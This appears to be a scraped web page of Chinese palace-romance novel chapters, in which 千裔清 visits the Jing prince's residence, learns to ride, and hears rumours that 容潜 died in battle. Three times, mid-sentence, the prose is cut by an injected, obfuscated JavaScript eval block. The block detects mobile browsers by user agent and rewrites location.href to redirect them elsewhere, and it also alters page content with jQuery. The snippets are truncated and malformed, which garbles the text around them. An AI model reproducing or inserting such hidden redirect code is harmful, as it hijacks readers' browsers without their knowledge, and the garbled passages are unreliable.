千裔清沉吟片刻,抬起头郑重地看着陆离:“我要去璟王府。” 陆离心领神会,为难道:“你不会是要当面问个清楚吧,这可不成,万一坏了殿下的计划,我可要提头去见了!” 千裔自然明白其中的道理,她保证自己不会打草惊蛇,至于陆离曾说的一月之期她也牢牢记着,断不会当面和璟王对峙。 陆离听不明白了:“那您去璟王府做什么?” “祝音还在璟王妃,我找她叙叙旧,顺便了解一下心中疑问。有件事......我好像早就该问个清楚了。”千裔清微微眯起眼,心中早就有了主意。 陆离觉得眼前这姑娘的眼神和说话方式让他觉得很熟悉,他想了想,似乎是和崇安王有些相似,但他说不清是千裔清像崇安王,还是崇安王更像她。 这种想法让陆离百感交集,一时间不知道作何评价。 一直以来千裔清对容潜的态度都是满不在乎,甚至是抗拒的,至少在他眼里是这样,而如今容潜走了,千裔清似乎也突然变了。 他不知道是不是自己那番话起了效果,如果是......那么就是殿下赌赢了。 陆离低头斟酌了一会儿,抬起头问:“您这是为了自己,还是为了......殿下?” 或许都不是。 千裔清摇头,露出一个无奈又伤感的笑:“为了我们。” 崇安王府门外,出行的马车已经收拾备好,空旷的街道只有这么一处宅院所在,陆离提着长剑立在门口,余光朝着拐角墙根出的阴影快速扫了一眼。 千裔清见他停着不动,便问道:“怎么了?” “是佑王府的人。”陆离嫌恶地皱了皱眉头。 这些苍蝇整日在这里守着,随时回佑王跟前通风报信却又不敢真的怎么着,实在是烦人的紧。 千裔清“哦”了一声,收回目光,满不在意地道:“大约是想等到我落单之时伺机报复吧,咱们走大路,量他们也不敢如何。” 陆离本来也不怵佑王府那些废物,只是想省些麻烦,另外去哪都被人跟着的感觉的确不太舒服,但千裔清都这么说了,他也就没再反驳。 气派十足的马车在熙熙攘攘的大街上缓缓行进,千裔清撩开车幔悬挂而上,给闷热的车厢里透透气。 陆离驾马与车并齐,时不时向一旁张望,脸上表情看起来很是凝重,一看就是还在介怀佑王府派人监视的事。 千裔清不觉得这是什么大不了的,便好心想调解气氛,免得他总那么紧张兮兮。 她的目光落在陆离身下那匹棕色的骏马身上,这匹马通体都是浅棕色的毛发,唯有额前是块白色的圆状,很好辨认。 “你的马术应该也很好吧?”千裔清知道容潜的骑术很好,跟在他身边做事,骑术想必也不会差。 陆离果然收回注意力,认真地回答她:“勉强拿得出手。” 千裔清笑他太谦虚,盯着看起来十分乖巧的马匹问道:“它叫什么名字?” “煦风。”陆离笑着轻抚它颈背的鬃毛,“煦风是殿下送给我的,从小就被我养着,性格非常温顺。” 容潜的遐方是会低头请人上马的,千裔清很好奇煦风会不会也有这项技能。 陆离解释道:“马都是通人性的,但它们更听从自己的主人,所以在我看来,无论我让它做什么它都是会懂的,换作其他人就说不好了。” 千裔清失望地点点头,盯着他的马左瞧右瞧。 容潜和陆离就不用说了,就连佑王没断腿之前似乎骑术也是不错的,还有祝音、云染......她们也会骑马。 算来算去,只有她和她的师傅官朗州什么都不会,只会摆弄那些跟死人打交道的药材。 说好听点是术业有专攻,说难听点就是她们两个比别人要废物。 千裔清抿了抿唇,对着陆离说道:““要不你教我骑马吧?容潜只教我入了门,旁的还什么都没教呢!” 陆离面上露出一丝为难,犹豫着说:“可以是可以,不过您的腿不是不大方便吗?” 后面的话他没继续说下去,若是出了什么意外,他可担待不起。 “所以才要练啊。”千裔清托着腮,撩起眼帘期翼地看着他。 这眼神换作谁似乎都很难拒绝。 陆离想了想,提出交换:“可以是可以,但您要回答我我一个问题。” 千裔清很爽快的点头答应:“你说。” 那他可真说了! 陆离沉了沉心神,一脸严肃地问出那个他困惑许久的问题:“你......有没有爱过殿下?” 千裔清被问的一怔。 这个问题她不是没想过,只是每次扪心自问的时候,她总会很快的反驳自己,否定这个答案,所以在她的潜意识里,她是不爱的。 只是今时不同往日,不论这个问题从陆离口中问出还是在她心底发问,她断不能再像以前那样果断的回答自己。 可这就是爱吗?她不清楚。 她从没爱过谁,因此也不知道这种感情算不算的上爱这个字。 千裔清沉默了很久,沉默到陆离眼中的期待渐渐没落成不抱希望,恰逢这个时候千裔清又开口了。 “我不知道。” 她遵循自己的心意,一字一句老实回答,不掺半点虚假:“我不知道这算什么,我只知道他对我而言是特别的。” 陆离想过千裔清会冷链否认,也想过她会带着一副虚伪到刻意的笑承认,但这个回答是他没想过的。 可仔细想想,这种回答又是最好不过的。他不愿听到千裔清否认,也不愿听到千裔清欺骗,他想听的是真心实意的回答,而这句回答,既真诚,也还算动听。 如此简单的一句话让两个人都豁然开朗,似乎少了许多的隔阂。 千裔清释然地笑了笑:“我答完了,可以教我骑马了吗?” 陆离也微微挑了下嘴边的弧度:“可以。” - 璟王府外,漆金的牌匾悬在头顶,四方的大院就藏于高墙之后,门里门外的天一样的晴空万里。 金色的门环被轻叩几下,大门立刻从里面打开,家仆一眼认出了陆离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093146|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忙请两人进府里去坐,差遣另一人去房里通报。 他们在路上就商量好的,陆离跟在身边是不太方便,不管怎么说她是在街上众目睽睽之下来了璟王府,无论出于什么原因,她断不会在这里出什么事。 陆离开始不肯,几经退让才同她达成一致,在附近候着。 千裔清对着他点了点头,提起裙摆跨进高高的门槛。 祝音上午刚回相府去瞧了夫人,眼看着她的身体一日不如一日,整日躺在床上,何姨娘也是为她那不成器的儿子操碎了心,想从祝丞相那里为儿子谋个官职。 祝丞相半生清名又怎么可能为了儿子牺牲前途,祝纶在家不愁吃喝,整日和一些狐朋狗友厮混,惹出不少乱子,这些事他都因为溺爱睁一只眼闭一只眼,如今放他入官场定是断断不能的! 千裔清抿了口茶,碧螺春的清香沁人心脾,纵是暑热也不觉得难入口,反倒胃口大开。 于是她又捡了一块翠玉豆糕来吃,一面听祝音滔滔不绝说着。 说得累了,捧着茶盏喝了一大口,还是和从前一样的习惯。 千裔清又抿了口茶,不着痕迹地假装扫过厅外门前:“璟王不在吗?他没和你一起回来?” 祝音丝毫没有起疑:“噢,玉衡哥哥送我回来后就出去了,他这些天好像很忙的样子。对了,听说崇安王也出城了?” 千裔清神色不变,淡淡地“嗯”了一声:“璟王告诉你的?” “我也是刚知道的。”祝音惋惜道,“不是在京中待的好好的,怎么这么突然呀!” 听祝音这么说,似乎不知道容潜为什么出征,也不知道他要出征的事,看来有关朝廷的事,璟王对她的口风都很紧。 “一别两年,我都还没来得及问,你和璟王怎么突然就成亲了,皇上为什么又会向先皇替你们求情?”千裔清眨了眨眼,似笑非笑道,“这其中莫不是有什么玄机?” 祝音面上一滞,鲜少对她露出这种不好说的表情。 千裔清眉心跟着一跳,仍笑着:“为难的话就不必说了,反正我只是好奇而已,毕竟是你们两个的私——” “千千姐姐。”祝音叹了口气,脸上是少见的正经之色。 如果没有千裔清,她或许已经嫁给了当初的九皇子,又或许和璟王迟迟没点破,千裔清待她如何她是清楚的,同样的,她也是真心对待这个姐姐。 想了想,祝音说道:“我告诉你,你可不许告诉别人......崇安王也不可以!” 容潜有什么不知道的,还用得着旁人告诉? 千裔清无奈地摇摇头,笑道:“好,我不告诉他。” 得到了保证,祝音缓缓舒展眉宇:“其实......当初是玉衡哥哥答应放弃皇位,齐光哥哥才愿意跟先皇求情替我们赐婚的。” “齐光哥哥还是太子的时候,他的生母是皇后,又是先皇最宠爱的人,从出生起,他就是注定要成为太子的,这些事大家起初都是不知情的,大皇子容聿早逝,玉衡哥哥本应顺理成章成为储君第一人选,可是他那么努力,那么想让先皇看好他,到头来不过是一场空罢了!” 身为皇子,有哪个没动过称帝的念头,作为兄弟中的长者,璟王凭借自己的才略赢得众多拥护者,又是最早被封王的,他想做皇帝没什么不对,他觉得不甘心更没什么不对。 千裔清听懂了:“所以,璟王在得知先皇心中人选一直不是他之后仍在努力争取,希望通过朝中百官拥护来改变结果是吗?” 这就不难解释为什么璟王会与许多重臣交好,又时常去相府拜访,虽说有祝音这方面原因,但最初的原因一定不是她。 始于算计,终于感情。 这才是真正的原因吗? 祝音苦笑了一声:“我不知道齐光哥哥想不想做皇帝,但从他出生起他就知道自己必须是皇帝,任何想与他争夺帝位的人,不论他愿不愿意,都要排除这些隐患,所以在玉衡哥哥找到他时,他几乎毫不犹豫的就答应了。” 祝音捧着茶杯,望着水面上漂浮的几片青翠芽芯出神,喃喃道:“我常常在想,若是没有我,是不是玉衡哥哥就能做皇帝了,是不是我误了他?” 精致的小脸上还挂着未褪干净的稚嫩,分明是个十七岁的少女,此时此刻面上的愁容却像深闺中的怨妇。 千裔清覆上她的手,拉回祝音的目光,笃定道:“若没有你,他可能会死,所以你没有误他,是你救了他。” 71. 担心 若没有祝音,璟王或许会死,或许会被迫放弃皇位,又或许还有其他结果,但无论怎么算,都不会比现在的情况好,这是可以确定的。 有那样一个偏心至极是非不分的父皇,且看一眼容潜昔日的境遇就知道了。如果不是夜南的数十年未见一个这样百战百胜的武将,如果不是容潜对夜南稳定有大作用,恐怕他的下场也不会好到哪去。 所以,千裔清这话并不是在安慰祝音,也是在道出一部分实情。 话说到这里,千裔清还是有点不明白,既然璟王已经决定放弃帝位,还和祝音成了亲,这么长时间过去了,为什么会突然再起谋反之意。 非但如此,上次千裔清来璟王府时,璟王的态度也很奇怪,容潜的话也很奇怪。 他们两个关系变得如此尴尬,显然不是近期发生的事。 今日千裔清出来的晚,她们聊到天都要黑了,璟王却还没回来。 千裔清怕陆离等得着急,便跟祝音道别,反正来日方长,寒暄也不差这一时半会的。 祝音陪着千裔清向外走,还没出府,就听到门外小厮驾马归府的声音,紧接着是有人的议论声,认出门外停的是崇安王府的马车。 璟王是紧接着踏进大门的,见到千裔清的时候眼中闪过一瞬的诧异,而后他失笑道:“怎么我刚来,你这就要走了?” 千裔清颔首,端着得体的笑容和姿态,颇显礼貌的说:“璟王殿下日理万机,是我来得不巧了,没能见上您一面。” 璟王仍是面上含笑,看不出在想些什么:“你和渺渺情同姐妹,又和九弟情投意合,怎么称呼我还是如此生分?” 千裔清看了身边的祝音一眼,祝音接着说:“没有啦!方才我们还聊起你呢,千千姐姐还说呢,你整日忙的连个人影都见不到!” 最后一句话多少带了点怨气,加上她那气鼓鼓的脸。 璟王戳了戳她的脸,宠溺的说道:“千千才来咱们府上几次,究竟是她说的还是你说的?” “好吧!是我说的......”祝音越说越没底气,便转移话题,“你去哪了?怎么天快黑了才回来。” 璟王脸上波澜不惊,自然地接过她的问题:“去看看七弟,他受了伤,情绪不太稳定。” 祝音对这件事也是知道一些的,方才还同千裔清聊起,璟王这话一出,祝音有些尴尬地看了看千裔清,纵然这事不是千裔清做的,但多少和她有点关系,玉衡哥哥这么说似乎不好吧...... 璟王说完,看着千裔清和气地问:“对了,九弟离京怎么如此突然,当中可是有什么缘故?” 明知故问! 千裔清在心里嘲讽一句,脸上却佯装惊讶:“璟王殿下都不知道,我又怎么会清楚呢?” 璟王看似可惜地点点头:“这样啊,我还以为你同九弟关系亲近,没想到他连你都瞒着。” 千裔清笑道:“殿下的烦心事自是不会对我说我,他怕我担心,这些我都明白,我想您应该也是如此吧?” 璟王总觉得千裔清此行来的目的并不简单,他原本在拜访其他朝臣,后来又去佑王府上坐着,直到听到佑王手下来报,说千裔清乘马车去了他的府上,他左思右想后赶了回来。 进家门的第一件事他就先观察了祝音的,千裔清惯会装的,可祝音在他面前什么都藏不住。 他一眼就知道千裔清没和祝音说什么要紧的,那她来做什么?只是寒暄? 两个各怀心思的人互相试探几句,倒是谁都没问出什么有用的,又谁都觉得不太对劲。 幸好门前侍奉的家仆来回话,说陆离问千姑娘同璟王妃叙完旧没有,天马上要黑了,崇安王不在,他怕不好交代。 借此机会,千裔清同他们点头告别。 陆离已经在门外等了一会儿,他本就在不远处的茶楼上一边喝茶一边等着,还是特意选的高层,正好能看到璟王府门前的那条小巷,知道看见璟王的马车从拐角回府,他这才下楼赶来。 千裔清的脸色跟来时比阴沉不少,坐在车上更是半路没话,透过车厢窗子,暮色之下,清冷的面容看起来更显冰凉。 陆离忍了半路,几次欲言又止都没等来千裔清先开口。 算了,还是他先问吧。 清了清嗓子,陆离问道:“方才瞧见璟王回府,你们遇上了?” “嗯。” 陆离又问:“没问出想要的答案?” 千裔清顿了顿,冷声说道:“祝音什么都不知道。” 陆离叹了一声,一点都不惊讶:“早听说璟王宠妻跟养女儿一样,大事小事都不让璟王妃过问,夜南多少女子都羡慕的不得了......” “可他去见了佑王。”千裔清一脸严肃,望着陆离缓缓说道,“他去见了佑王,你知道这代表什么?” 陆离也没想到今天这事还能扯上佑王,若平时也就算了,佑王如今双腿刚刚被废,正是记恨整个崇安王府的时候。 容烨的态度很明确,他虽是惊诧于容潜的行为,但相必之下,他似乎还是有意护着容潜——至少现在是这样。 那么璟王去见佑王又有什么目的,总不至于是落井下石。 既不是落井下石,那就得是嘘寒问暖了。 这个时候同佑王交好,莫非是有意和容潜站在对立面了? 两个人都没再说话。 过了很久,千裔清轻声开口:“陆离,我会不会害死他?” “什么?”陆离反应了一会儿,“您是说殿下吗?” “嗯。”千裔清淡淡应了一声,又像是自己回答自己,“......我好像会害死他。” 陆离不知道怎么安慰她,也不知道该说什么才能让她安心,只能用很确信的语气对她说:“殿下一定会回来的,就算是为了您,他也会回来的。” “我一定会回来。” “十二分是我对你的承诺,也是我必须活着回来的理由。” 容潜是这么说过的,可容潜也说过,他也怕,怕自己会一去不回。 千裔清那时还没想明白,这样一个骄傲自信的人也会怕死吗? 可原来,怕的人不止容潜一个。 - 天气越来越热,转眼到了六月下旬,再过不久就进七月份,大暑时节。 陆离依言教千裔清骑马,他自然是知无不言言无不尽,只是千裔清自己不争气,学了好几天才勉强能自己上马。陆离合理怀疑等千裔清彻底学会一个人骑马,只怕是要等到明年夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096192|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天了。 千裔清第一次能自己上马的时候还沾沾自喜,这对她来说这是个不小的跨度。 因此她心情不错,决定今天暂且不练了,接下来请陆离去吃一碗冰镇的杨梅雪酪。 雪酪是暑季坊间最为盛行的冰食,一是解暑气,而是爽口开胃。 佑王府的下人真该好好感谢一番千裔清,佑王自那日之后竟真没再送来过腿骨。 聊到这,千裔清不免想起远在绥夏的那个人,半个月了,他竟是一点音讯也没有,不像崇安王的作风。 “攻下十方不是才用了不到半个月吗,怎么这次半个月了,那边还没有一点消息?” “十方不过是个边陲小国,跟绥夏可不能比。”陆离朝嘴里塞了一大口杨梅冰屑,鼻尖上还浮了一层方才骑马时落下的汗珠。 好吧,似乎也有道理。 千裔清点点头,又怀疑地问:“容潜真的没给你传过消息?” 陆离捏着勺子的手一顿,无奈道:“就算是有消息也应该先是军报,给我传消息做什么?” 好吧,也是这个道理。 千裔清不问了,吃完这碗冰酪正要打道回府。 低着头拭净嘴角的时候,头顶渐渐笼上一层阴影。 “陆离大人,千姑娘?” 熟悉的声音在耳侧响起,千裔清抬首看去,却是许久未见的谢子源。 怎么每次遇见他都是和陆离在一起的时候,而且总是在人多的街上,重云门不是走暗道的路子吗? “原来是谢门主,请坐。”陆离这次面对他的态度明显好了很多,抱着拳礼貌打了个招呼。 谢子源笑了笑:“不必客气,只是瞧着像是两位,过来打个招呼而已。” 千裔清也同他寒暄起来:“许久不见,谢门主的门派整顿得如何了?” 谢子源微微一顿,颔首道:“倒是好些了,还差这最后一步,只等崇安王殿下凯旋归来。” 吃食店里毕竟不是讨论事情的好地方,因此谢子源也说得隐晦,但这话足以证明,他是知道容潜出征之事的。 不仅如此,他甚至已经知道自己和容潜的关系,也知道容潜对自己提起过这些...... 这么说他们两个不止一次见过面?千裔清倒有些好奇了,她知道容潜许给了谢子源什么,却不清楚谢子源答应了容潜的什么要求,她问过,容潜却一直不肯告诉自己。 千裔清正要开口再问,对面的陆离急忙攥起拳头,掩着嘴装模作样地轻咳两声:“谢门主不是说有事要忙?” 谢子源心领神会,含笑着点点头:“是,那便不多打扰了。” 这位新门主和喻景淮倒是很不一样,谦逊温和又全然没有见不得人的感觉,仿若民间行走江湖的素衣侠客,匆匆而来,匆匆而去。 手上杀人,心上却很干净。 有一种毫不违和的矛盾感。 直至谢子源走远,陆离伸手在千裔清面前晃了晃。 他不满道:“人都走远了还看?” 千裔清冷冷掠过他一眼:“我只是在想,你们几个到底有什么秘密在瞒着我,不过......” 她笑了笑,唇角勾起一个好看至极的弧度:“我好像知道是什么了。” 72. 听闻 今天这一面算是没白见着,容潜出征这事这么突然,谢子源却早早就知晓了。 可见容潜是一早就告诉他的,只是奇怪了,谢子源是个江湖人,容潜一早告诉他这些做什么? 想起重云门多年来做的都是什么行当,这些就不难猜出了。 容潜不会打毫无把握的仗,他只会给自己多加一分把握,再加一分。 一个连送人回去的时间都要算的刚好,每一步都要精准落棋的人又怎么会注意不到这些。 所以谢子源给他的必定是重云门做起来最顺手的——情报。 绥夏的情报。 这有什么不好和她说的,难不成还怕她泄露出去?就这么信不过她? 想到这种可能千裔清有点气不过,等容潜回来,她非要好好质问一番不可! - 六七月份本来就是雨季,上一刻还冒着大太阳,下一刻就能从云里落下几滴雨来。 翌日下午,正打算进门呢,宝山从院中急匆匆地跑来,附耳在陆离身边低声说了几句,陆离手中雨伞还没彻底收起,动作一顿,牙白色的油纸伞在手中开合,再一次被打开。 “下着雨,你还要去哪?”千裔清提着裙边朝里走,却瞥见陆离背过身又要出门。 陆离停住步伐:“噢,是我家里的老乡,找我不在所以就先回去了!”他走了两步又停下,回过头叮嘱道,“下雨了,外面泥泞湿滑,您就别出门了。” 千裔清歪着头盯了他片刻:“好。” 转眼间,绛雪已经送来披风,宝山取了新伞撑开。 千裔清一直在想着陆离方才的话和神情,她记得陆离少年时就被容潜带回,家中应该是再无亲人的,至于老乡更是从未听谁提起过。 千裔清问:“方才来找陆离的人,你见过吗?” 宝山回忆了一下,答道:“没见过,那年轻人自称是陆离大人的旧友,说跟大人一提便知晓。” 千裔清拨开因为雾气纠缠在一起的碎发,又问:“那人长什么样子?” “唔......很高,很精神,长得就干干净净的......”宝山嘿嘿笑了两声,不好意思地挠挠头,“小的没什么文化,不太会形容......” 绛雪白了他一眼,让他挑些特别的说。 宝山认真想了想:“哦!小的记得他拿了把很好看的剑,看起来有些年头了,估计是什么传家宝之类的呢!” 剑?是江湖人? 能在此时找上门来的人不多,再加上是江湖人士,千裔清能想到的只有重云门。 如果真是他们,就一定和容潜有关了。 淅淅沥沥的小雨到了夜里才开始吵闹起来,正是越下越大的雨势。 房里的窗户没关紧,潮湿和凉气许久未曾进过这间屋子,以至于陡然碰上这种瓢泼大雨,千裔清还真觉得不习惯,腿也开始犯疼。 睁开双眼,耳边是清晰可闻的雨声,隔着墙瓦,隔着床幔,仍是清晰可闻。 千裔清翻过身,宽大的床侧另一边空空荡荡,这里曾是躺着那个人,会在这样的雨夜里起身关紧窗子,而后在将她紧紧拥入怀里,还时常抱的她喘不过气。 空气中似有一声失望的叹息,千裔清带着困意,窗外雨声打着自己的节奏,一下一下从房檐滚落,滴在门前的石阶上。床榻上的人酣然入梦,却没察觉到嘴边那一丝带着怀恋的弧度。 - 雨下了一整夜,天方亮的时候才渐小,直到中午过了饭时才算彻底停了,可惜青石板上到处是林间带出的淤泥。 千裔清不愿意沾一鞋尖泥泞,又讨厌这种湿热的天气,便坐在屋檐下看府上下人清理积水。 仔细想想,陆离一整个上午都没出现过。 千裔清整理着衣裳,低头漫不经心地问起:“陆离出去了吗?” 长顺正专心打扫地上缠着泥块的落叶,没听清楚她问些什么:“您要找陆离大人吗?他昨晚没回来呀!” “没回来?” 见个旧相识而已,至于彻夜不归吗。 长顺把扫帚一立,支起胳膊认真回答:“小的跟长乐昨夜值守,没见过陆离大人回府,许是跟老乡喝醉了酒住外边了吧!” 她可没听说过陆离还有这等松散的时候,莫说是喝酒,容潜交代他照料王府事宜,你就是把刀架在他脖子上,恐怕他也是不会擅离职守的。 因此,这等情况本是正常,落在陆离身上就太反常了! 千裔清还想问什么,眼瞅着府上采买的下人慌慌张张进了她的小院,身上的竹筐还没来得及卸下。 长顺嘲笑他:“我说阿吉!不过下个大雨而已,又不是没见过,怎么还慌成这样?” 阿吉气都没喘匀,先把手按在胸前给自己顺顺气,语无伦次地说道:“不、不好......出事了!” 千裔清掀起眼帘给绛珠使了个眼色,绛珠点点头,很快倒了被热茶送上去:“别着急,慢慢说,出什么事了?” 阿吉接过茶盏,一口气咽下半杯,喉头的浊气总算消去半截,这才缓缓说起在街上听到的事。 “府里的鱼食没了,这不见雨停了就寻思上街看看,结果......”阿吉为难的看了一眼千裔清,把心一横,一股脑全吐露干净,“街上的百姓都在议论,说崇安王殿下负伤不治,身亡了!” 咣当—— 方几上的茶水撒了一桌,顺着桌沿、桌脚,一滴一滴落在地面上,同雨水混合在一起。 原本握着茶盏的手僵在距离桌面三寸的位置,微微颤抖。 绛珠紧张地瞥了一眼千裔清,抬脚下去台阶来到阿吉面前:“你问清楚没有!是不是你听错了,殿下怎么会......怎么会呢!” 绛珠觉得那两个字太过忌讳,喉咙中卡了一下,没敢说出来。 阿吉一脸的认真:“是真的!起初我也不信,所以去街上打听了一圈,这才赶紧回来报信的!” “这......”绛珠觉得这消息恐怕不是空穴来风,一时也拿不定主意,回头看向千裔清,“千姑娘......要不还是等陆离大人回来再问个清楚吧?” 千裔清失手打翻茶盏,脸上却仍是一副波澜不惊的样子,没人知道她心底的慌张和失措,只有她一开口有些发紧的声线能寻得蛛丝马迹。 千裔清深深呼吸,按捺下即将翻涌而起的情绪,眉头还是拧着,望向阿吉:“这消息是什么时候开始传出来的,你问清楚了?” 阿吉怕她不信,急忙回答:“问清楚了,是今天一大早传出来的消息,这会儿估计整个坤京都知道了,街头巷尾都在议论呢!” 整个坤京都传遍了...... 不,冷静、冷静! 如果这消息是真的,从早上到现在,宫里应该有什么反应才对。 其次是佑王,他对容潜恨之入骨,心头大患去除,他也应该有所行动。 还有璟王...... “都在这杵着干什么呢!” 随着一声冷喝,几个人急忙垂下脑袋低头去做自己的事,想假装什么都没发生的样子。 不用想也知道这个人一定是陆离,除了容潜,也只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我是说过他对我是特别的。”千裔清耸了耸肩,摊着手道,“可是你也知道,他的仇家那么多,京中想他死的人也那么多,我继续留在这岂不是要落得个跟他一样的下场?” 说完,她挑眉继续:“反正他也回不来了,我劝你也尽快想好去路吧,免得到时候王府都没了,那时再做打算可就晚了!” “你!”陆离恨不得冲上去指着她的鼻子一通大骂。 可他终是压下自己心中不忿,恨恨放下手丢下一句:“狼心狗肺!” “陆离。” 千裔清叫住他,迎着门外阴沉的太阳,陆离的身形停在门栏外,等着她说下去。 千裔清蜷了蜷指尖,对着他的背影问道:“那日你说的最多一个月会有一个定论,这就是你所说的定论吗?” 陆离没说话,冷哼一声,丢下一个背影远远离去。 连陆离都这么说,消息应该不会错了吧? 她还记得容潜因为武安王的事对绥夏有多厌恶,也曾开玩笑似的说自己不想死在那种脏地方。 她还记得容潜问过她如果自己一去不回她又会怎么样,千裔清只是横了他一眼,说会去给他收尸,连句安抚都是不曾有的。 好像,从来都是不曾有的。 她总是对他冷言冷语,亦或充满讽刺,屈指可数的温暖似乎也掺杂着别的心思。 所以容潜在听到那样一句回答时,心里又是怎么想的呢? 一语成谶,原来这就是一语成谶吗。 73. 相见 依照陆离的性子,千裔清表现的越是伤心难过,越是关心容潜,陆离就会越发关心她的安危,把她盯得死死的。 千裔清明白这个道理,又知道陆离在面对容潜的吩咐向来都是死脑筋的,索性也就做个样子,坐实自己狼心狗肺的罪名。 佑王的探子在王府外一直守着,若不是容烨下了死令,恐怕他早就采取行动了。 千裔清也是后来才知道,据军报所说崇安王中了埋伏,但战场上的形势还一直胶着,远不能断定谁胜谁负。 只是少了一个崇安王而已,夜南又不是只有那么一个人在,一兵一卒都尤为关键。 他们对夜南或许都很关键,在千裔清心里却是无足轻重,她要做的只有一件事。 去绥夏。 去绥夏给容潜收尸。 武安王尚有容潜亲自接回,千裔清不能让他躺在那种肮脏的地方,不能让他沉眠于他所憎恶的那片泥泞土地。 - 绛雪进院的时候正好看见千裔清抱着手臂倚在门框边上,微微仰头,似乎在望天。 雨停之后,太阳很快就出来了,转眼就晴的刺眼。 绛雪好心提醒:“夏天日头毒,姑娘当心伤眼睛,怎么不进屋凉快呢?” 千裔清也不动,像是自言自语似的:“是啊,这么毒的太阳,你说陆离怎么就守在大门那里一动也不动呢?” 非但如此,这间王府的偏门、后门她都去转过,比平日更加严防死守,显然是刻意针对她的。 怕她一走了之。 主子都不在了,遗愿还要这么严格的执行,真不愧是陆离。 绛雪也知道其中缘由,但她不好说什么,只能讪笑一声:“佑王整日在咱们王府外头虎视眈眈的,陆离大人也是怕您出危险。” 千裔清叹了口气,望着天空继续出神,口中喃喃的:“全城百姓都说容潜死了,就连朝廷也默认了这个消息......容潜这样的人也会死吗?” 她还以为崇安王永远不会死在别人手中。 绛雪不知道说什么好,其实这话所有人一开始都是不信的,直到消息愈演愈烈,又经陆离亲口确认。 陆离是什么人,若非查明他怎会拿殿下名誉开玩笑。 再到后来,朝廷开始默默准备丧事,璟王也带着祝音前来拜访过一次,所有人都知晓了这个消息,饶是千裔清不信,也不得不信。 可她始终是冷冷淡淡的,一副事不关己的样子,仿佛死了一个与她无关紧要的人。 “姑娘是在伤心吗?”绛雪觉得有点欣慰,“原来姑娘也是会为殿下伤心的。” 千裔清原以为自己永远不会为他伤心的,直到听闻他阵亡的消息,她觉得自己身上的力气好像被抽干了,再难提起什么劲头。 她后知后觉的发现自己竟然是对容潜有感情的,或许是后来相处中的潜移默化,又或许是多年前的一次初见。 但这些都不重要,她别扭惯了,也执拗惯了,因此这件事之后府上也有许多人对她白眼,偷偷在背后骂她是个白眼狼。 千裔清就这么笑笑,想起容潜也用同样的话说过她,不过是完全不同的语气罢了。 她后悔了,她这辈子没跟容潜低过头,也从未向他认过一句错,既是是最初迫于压力的隐忍,也无处不透露着她莫名奇妙的高傲和不屑。 可以说,她对容潜一直都是不公平的。 而这件事是她错了。 但,似乎晚了。 千裔清没说话,转身进了屋。 大门一定走不出去了,尤其她还计划带着自己的药匣,再从偏院里牵匹马赶路,现在想来根本行不通。 第二天,千裔清特意选了大晌午的时候,空着两只手,只有怀里装了点散碎银两。 还没走到外院,陆离就跟上来了,显然这座宅子里到处都是他的耳目。 陆离绷着一张脸:“你这是要去哪?” 千裔清笑了笑,抬着胳膊转了一圈:“最近胃口好了,小衣都有点穿不上了,只能去买些新的,一起?” 千裔清怕他真答应一起,赶忙又说道:“还是算了,你去不大方便。而且,你应该也不想同我一起上街吧,刚好我也不想。还是让下人驾车带我过去吧!” 陆离脸上闪过一丝尴尬,有点没好气的:“绛珠绛雪都在府里。” 千裔清假装听不懂,笑盈盈道:“反正也没什么事做,买点东西而已,还是我自己去吧,对了,要不要带些什么给你?” 到底是她这副姿态过于自然,陆离想着反正还有家仆一道跟去,崇安王府的马车又这么招摇,应该算万无一失了。 陆离摇头:“不用,我叫人备车。” 千裔清笑着“嗯”了一声,好整以暇地等着。 若不是千裔清真的空着两手出门,行李包裹一件也没带,否则陆离还真要怀疑她是不是要趁机跑了再不回来。 崇安王平日里他做派太散漫,早就惹了许多人不快,这会儿正是众人虎视眈眈的时候,若千裔清落单,恐怕只能是个有去无回。 这些事陆离一五一十说给千裔清听了,道理也讲了无数回,人家就是满不在乎,根本没往心里去,他能怎么办? - 马车稳稳当当的行驶在青石板铺好的宽道,街上人来人往,许多人都侧目望向千裔清所在的车厢。 百姓皆知崇安王在战场之事,但多数人不清楚千裔清的存在,因此便好奇怎么到了这时候崇安王府的人还如此招摇过市,果真是人心凉薄。 行出南巷,不远处的铺子正是新开的果脯店,门口已然大排长龙。 千裔清喊人停下,说想试试这家的口味,瞧这队伍这么长,味道定然不俗。 小厮犹豫了一会儿还是跳下马车,他不敢忤逆主子的意见,虽然陆离大人交代了要时刻跟着,但这么长的队也不好让千裔清去排,还得是自己来。 于是他把马车落在队伍附近,将马拴好防止受惊,确认自己的位置能清清楚楚注意到马车的情况了,这才安心去排队。 千裔清扯了扯嘴角,侧着脑袋,透过门帘的一丝缝隙坐在车里看着。 这队伍长到令人发指,兴许是新开业的原因,又或许是味道的确好,总之正是这一点被千裔清看中了,刻意支开家仆过去。 